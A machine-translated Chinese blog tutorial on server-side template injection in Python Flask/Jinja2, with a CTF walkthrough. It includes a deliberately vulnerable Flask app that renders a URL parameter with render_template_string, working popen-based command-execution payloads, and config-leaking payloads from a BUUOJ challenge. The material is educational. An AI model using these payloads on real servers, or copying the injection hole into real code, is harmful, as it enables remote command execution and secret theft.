当前位置:网站首页>SSTI template injection explanation and real problem practice
SSTI template injection explanation and real problem practice
2022-07-06 03:47:00 【Advertising fever】
0x00 SSTI
1. What is? SSTI Inject ?
SSTI Template Injection (Server-Side Template Injection), Through the interface with the server-side template Input output interaction , In the case of lax filtering , Construct malicious input data , So as to read files or getshell Purpose , at present CTF common SSTI In question , Most of them are exams python Of .
2. Causes and utilization conditions
The website processes the output pages by the data and template framework , Our data will not change in the database , But the template of the picture can be converted in various ways , Different templates can give people different visual feelings , But when the template has controllable parameter variables or the template code has the debugging function of the template , May lead to ssti Template Injection , This injection exists for most script types . It's common for python Of CTF More test sites
3. What are the hazards ?
It can cause file reading , Command execution , Code execution, etc
paylaod Analytical reference :
0x01 Case understanding SSTI
Sensitive function phrases :
flask
render_template_string
Python Case study :
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
return 'Hello World!'
@app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3> #%s obtain 404_url Parameter the contents of the following fields , So as to input controllable variable injection
</div>
{%% endblock %%}
''' % (request.args.get('404_url'))
return render_template_string(template), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)
Can be python Script execution , Injection of being
adopt payload type , can RCE Read files and operate the machine
os._wrap_close In the class popen.
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
0x02 CTF Case study
https://buuoj.cn/
Title Page :
structure 2-2 perform , That there is ssti Injection execution
View all global variables , Reference global variables
Use global variables to get the following config value
url_for() Function is used to build the specified function of operation URL
get_flashed_messages() The function is to get the passed data
Get global variables
/shrine/{
{url_for.__globals__}}
or
/shrine/{
{get_flashed_messages.__globals__}}
Use the current global variable to read :
/shrine/{
{url_for.__globals__['current_app'].config}}
or
/shrine/{
{get_flashed_messages.__globals__['current_app'].config}}
Add : pyc Decompile knowledge points
pyc It is also a form of script encapsulation , Be similar to
aspx:DLL file
java:.class/jar/war file
pyc Is a decompilable package , There are also those that are difficult to decompile pyd Wait for the documents
pyc Decompile reference website :
Decompile platform :
https://tool.lu/pyc/
http://tools.bugscaner.com/decompyle/
decompiler :https://github.com/wibiti/uncompyle2
边栏推荐
- Record the process of reverse task manager
- MySQL about self growth
- Serial port-rs232-rs485-ttl
- Plus d'un milliard d'utilisateurs de grandes entreprises comme Facebook ont été compromis, il est temps de se concentrer sur le did
- Canvas cut blocks game code
- Differential GPS RTK thousand search
- How to standardize the deployment of automated testing?
- Mysqldump data backup
- 3.2 rtthread 串口设备(V2)详解
- 阿里测试师用UI自动化测试实现元素定位
猜你喜欢
Ks008 SSM based press release system
数据分析——seaborn可视化(笔记自用)
Cf464e the classic problem [shortest path, chairman tree]
MySQL about self growth
2.2 STM32 GPIO operation
WPF效果第一百九十一篇之框选ListBox
1.16 - check code
Pytorch基础——(1)张量(tensor)的初始化
JVM的手术刀式剖析——一文带你窥探JVM的秘密
Recommended papers on remote sensing image super-resolution
随机推荐
C language circular statement
Force buckle 1189 Maximum number of "balloons"
pytorch加载数据
Blue Bridge Cup - Castle formula
[practical exercise] face location model based on skin color
Exness foreign exchange: the governor of the Bank of Canada said that the interest rate hike would be more moderate, and the United States and Canada fell slightly to maintain range volatility
Record the process of reverse task manager
C language judgment, ternary operation and switch statement usage
Suggestions for new engineer team members
The solution of permission denied (750 permissions should be used with caution)
Why do you want to start pointer compression?
Exchange bottles (graph theory + thinking)
Pelosi: Congress will soon have legislation against members' stock speculation
KS003基于JSP和Servlet实现的商城系统
Pytoch foundation - (2) mathematical operation of tensor
3.1 rtthread 串口设备(V1)详解
[American competition] mathematical terms
RT thread -- FTP of LwIP (2)
User perceived monitoring experience
Mysqldump data backup